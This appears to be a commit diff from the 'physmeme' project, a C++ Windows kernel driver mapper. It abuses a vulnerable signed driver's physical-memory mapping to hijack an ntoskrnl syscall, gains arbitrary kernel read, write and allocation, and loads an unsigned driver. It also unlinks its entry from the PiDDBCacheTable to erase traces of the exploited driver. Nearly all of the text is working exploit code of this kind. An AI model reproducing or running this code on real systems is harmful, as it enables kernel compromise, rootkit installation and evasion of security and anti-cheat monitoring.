if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_table()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_table_sig,
piddb_table_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
}
}

@ -5,6 +5,8 @@ VisualStudioVersion = 16.0.29613.14
MinimumVisualStudioVersion = 10.0.40219.1 MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "physmeme", "physmeme\physmeme.vcxproj", "{6578B958-DD53-4BE0-8011-009563919E73}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "physmeme", "physmeme\physmeme.vcxproj", "{6578B958-DD53-4BE0-8011-009563919E73}"
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "physmeme-lib", "physmeme-lib\physmeme-lib.vcxproj", "{13FFA531-AD46-46F8-B52D-4A01BA078034}"
EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64 Debug|x64 = Debug|x64
@ -21,6 +23,14 @@ Global
{6578B958-DD53-4BE0-8011-009563919E73}.Release|x64.Build.0 = Release|x64 {6578B958-DD53-4BE0-8011-009563919E73}.Release|x64.Build.0 = Release|x64
{6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.ActiveCfg = Release|Win32 {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.ActiveCfg = Release|Win32
{6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.Build.0 = Release|Win32 {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.Build.0 = Release|Win32
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x64.ActiveCfg = Debug|x64
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x64.Build.0 = Debug|x64
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x86.ActiveCfg = Debug|Win32
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x86.Build.0 = Debug|Win32
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x64.ActiveCfg = Release|x64
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x64.Build.0 = Release|x64
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x86.ActiveCfg = Release|Win32
{13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x86.Build.0 = Release|Win32
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE

@ -7,10 +7,6 @@ namespace physmeme
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer) if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return; return;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryEx("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES));
nt_rva = reinterpret_cast<std::uint32_t>( nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kernel_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
@ -19,8 +15,12 @@ namespace physmeme
)); ));
nt_page_offset = nt_rva % page_size; nt_page_offset = nt_rva % page_size;
std::vector<std::thread> search_threads; ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryEx("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES));
//--- for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : util::pmem_ranges) for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread( search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall, &kernel_ctx::map_syscall,
@ -33,33 +33,197 @@ namespace physmeme
search_thread.join(); search_thread.join();
} }
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t size) const void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{ {
for (auto page = 0u; page < size; page += page_size) //if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{ {
if (is_page_found.load()) auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
break; if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
if (!is_page_found.load()) // keep scanning until its found
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
physmeme::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!is_page_found.load())
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
auto virt_addr = physmeme::map_phys(begin + page, page_size); if (my_proc_base != my_proc_base_from_syscall)
// sometimes the virtual address returned from map_phys is 1 page ahead continue;
// of the actual mapping... This is a problem with the driver...
__try is_page_found.store(true);
return;
}
}
}
physmeme::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{ {
if (!memcmp((void*)(virt_addr + nt_page_offset), ntoskrnl_buffer + nt_rva, 32)) for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{ {
psyscall_func.store(reinterpret_cast<void*>(virt_addr + nt_page_offset)); if (!is_page_found.load())
if (get_proc_base(GetCurrentProcessId()) == GetModuleHandle(NULL))
{ {
is_page_found.store(true); if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
return; {
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
} }
} }
physmeme::unmap_phys(page_va, remainder);
} }
__except (EXCEPTION_EXECUTE_HANDLER) {}
physmeme::unmap_phys(virt_addr, page_size);
} }
} }
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = read_kernel<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = read_kernel<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = read_kernel<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
write_kernel<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
write_kernel<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type)
{ {
static const auto ex_alloc_pool = static const auto ex_alloc_pool =
@ -68,8 +232,7 @@ namespace physmeme
"ExAllocatePool" "ExAllocatePool"
); );
return syscall<ExAllocatePool> return syscall<ExAllocatePool>(
(
ex_alloc_pool, ex_alloc_pool,
pool_type, pool_type,
size size
@ -95,14 +258,12 @@ namespace physmeme
void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size)
{ {
static const auto mm_copy_memory = static const auto mm_copy_memory =
util::get_kernel_export util::get_kernel_export(
(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlCopyMemory" "RtlCopyMemory"
); );
syscall<decltype(&memcpy)> syscall<decltype(&memcpy)>(
(
mm_copy_memory, mm_copy_memory,
buffer, buffer,
addr, addr,
@ -113,14 +274,12 @@ namespace physmeme
void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size)
{ {
static const auto mm_copy_memory = static const auto mm_copy_memory =
util::get_kernel_export util::get_kernel_export(
(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlCopyMemory" "RtlCopyMemory"
); );
syscall<decltype(&memcpy)> syscall<decltype(&memcpy)>(
(
mm_copy_memory, mm_copy_memory,
addr, addr,
buffer, buffer,
@ -131,14 +290,12 @@ namespace physmeme
void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size)
{ {
static const auto rtl_zero_memory = static const auto rtl_zero_memory =
util::get_kernel_export util::get_kernel_export(
(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlZeroMemory" "RtlZeroMemory"
); );
syscall<decltype(&RtlSecureZeroMemory)> syscall<decltype(&RtlSecureZeroMemory)>(
(
rtl_zero_memory, rtl_zero_memory,
addr, addr,
size size
@ -147,16 +304,17 @@ namespace physmeme
PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const
{ {
if (!pid)
return {};
PEPROCESS proc; PEPROCESS proc;
static auto get_peprocess_from_pid = static auto get_peprocess_from_pid =
util::get_kernel_export util::get_kernel_export(
(
"ntoskrnl.exe", "ntoskrnl.exe",
"PsLookupProcessByProcessId" "PsLookupProcessByProcessId"
); );
syscall<PsLookupProcessByProcessId> syscall<PsLookupProcessByProcessId>(
(
get_peprocess_from_pid, get_peprocess_from_pid,
(HANDLE)pid, (HANDLE)pid,
&proc &proc
@ -166,18 +324,21 @@ namespace physmeme
void* kernel_ctx::get_proc_base(unsigned pid) const void* kernel_ctx::get_proc_base(unsigned pid) const
{ {
if (!pid)
return {};
const auto peproc = get_peprocess(pid); const auto peproc = get_peprocess(pid);
if (!peproc) return {};
if (!peproc)
return {};
static auto get_section_base = static auto get_section_base =
util::get_kernel_export util::get_kernel_export(
(
"ntoskrnl.exe", "ntoskrnl.exe",
"PsGetProcessSectionBaseAddress" "PsGetProcessSectionBaseAddress"
); );
return syscall<PsGetProcessSectionBaseAddress> return syscall<PsGetProcessSectionBaseAddress>(
(
get_section_base, get_section_base,
peproc peproc
); );

@ -30,6 +30,9 @@ namespace physmeme
class kernel_ctx class kernel_ctx
{ {
public: public:
//
// default constructor
//
kernel_ctx(); kernel_ctx();
// //

@ -20,6 +20,7 @@ int __cdecl main(int argc, char** argv)
} }
physmeme::drv_image image(drv_buffer); physmeme::drv_image image(drv_buffer);
if (!physmeme::load_drv()) if (!physmeme::load_drv())
{ {
perror("[!] unable to load driver....\n"); perror("[!] unable to load driver....\n");
@ -29,13 +30,18 @@ int __cdecl main(int argc, char** argv)
physmeme::kernel_ctx ctx; physmeme::kernel_ctx ctx;
// //
// unload exploitable driver, we dont need it loaded after we create kernel_ctx... // shoot the tires off piddb cache entry.
// //
if (!physmeme::unload_drv()) const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp;
printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp);
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
{ {
perror("[!] unable to unload driver... all handles closed?\n"); // this is because the signature might be broken on these versions of windows.
perror("[-] failed to clear PiDDBCacheTable.\n");
return -1; return -1;
} }
printf("[+] cleared piddb cache...\n");
// //
// lambdas used for fixing driver image // lambdas used for fixing driver image
@ -99,6 +105,16 @@ int __cdecl main(int argc, char** argv)
// //
ctx.zero_kernel_memory(pool_base, image.header_size()); ctx.zero_kernel_memory(pool_base, image.header_size());
//
// unload exploitable driver
//
physmeme::unmap_all(); // just in case there are any left over physical pages mapped...
if (!physmeme::unload_drv())
{
perror("[!] unable to unload driver... all handles closed?\n");
return -1;
}
printf("[+] unloaded exploitable driver....\n"); printf("[+] unloaded exploitable driver....\n");
printf("[=] press enter to close\n"); printf("[=] press enter to close\n");
std::cin.get(); std::cin.get();

@ -27,10 +27,13 @@ namespace physmeme
inline std::string drv_key; inline std::string drv_key;
inline HANDLE drv_handle = NULL; inline HANDLE drv_handle = NULL;
// keep track of mappings.
inline std::vector<std::pair<std::uintptr_t, std::uint32_t >> virtual_mappings;
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
__forceinline bool load_drv() inline bool load_drv()
{ {
const auto [result, key] = const auto [result, key] =
driver::load( driver::load(
@ -54,7 +57,7 @@ namespace physmeme
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
__forceinline bool unload_drv() inline bool unload_drv()
{ {
return CloseHandle(drv_handle) && driver::unload(drv_key); return CloseHandle(drv_handle) && driver::unload(drv_key);
} }
@ -62,7 +65,7 @@ namespace physmeme
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
__forceinline std::uintptr_t map_phys( inline std::uintptr_t map_phys(
std::uintptr_t addr, std::uintptr_t addr,
std::size_t size std::size_t size
) )
@ -77,13 +80,14 @@ namespace physmeme
DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer), DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL); reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
virtual_mappings.emplace_back(std::pair<std::uintptr_t, std::size_t>(out_buffer[0], size));
return out_buffer[0]; return out_buffer[0];
} }
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
__forceinline bool unmap_phys( inline bool unmap_phys(
std::uintptr_t addr, std::uintptr_t addr,
std::size_t size std::size_t size
) )
@ -96,4 +100,13 @@ namespace physmeme
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL); reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0]; return out_buffer[0];
} }
//
// unmap all physical memory that was mapped.
//
inline void unmap_all()
{
for (auto idx = 0u; idx < virtual_mappings.size(); ++idx)
unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second);
}
} }

@ -51,11 +51,20 @@ namespace hook
: hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false) : hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false)
{ {
//setup hook //setup hook
memcpy(jmp_code + OFFSET_TO_ADDRESS, &jmp_to, sizeof(jmp_to)); memcpy(
jmp_code + OFFSET_TO_ADDRESS,
&jmp_to,
sizeof(jmp_to)
);
//save bytes //save bytes
memcpy(org_bytes, hook_addr, sizeof(org_bytes)); memcpy(
if(enable) install(); org_bytes,
hook_addr,
sizeof(org_bytes)
);
if(enable)
install();
} }
void install() void install()

Loading…
Cancel
Save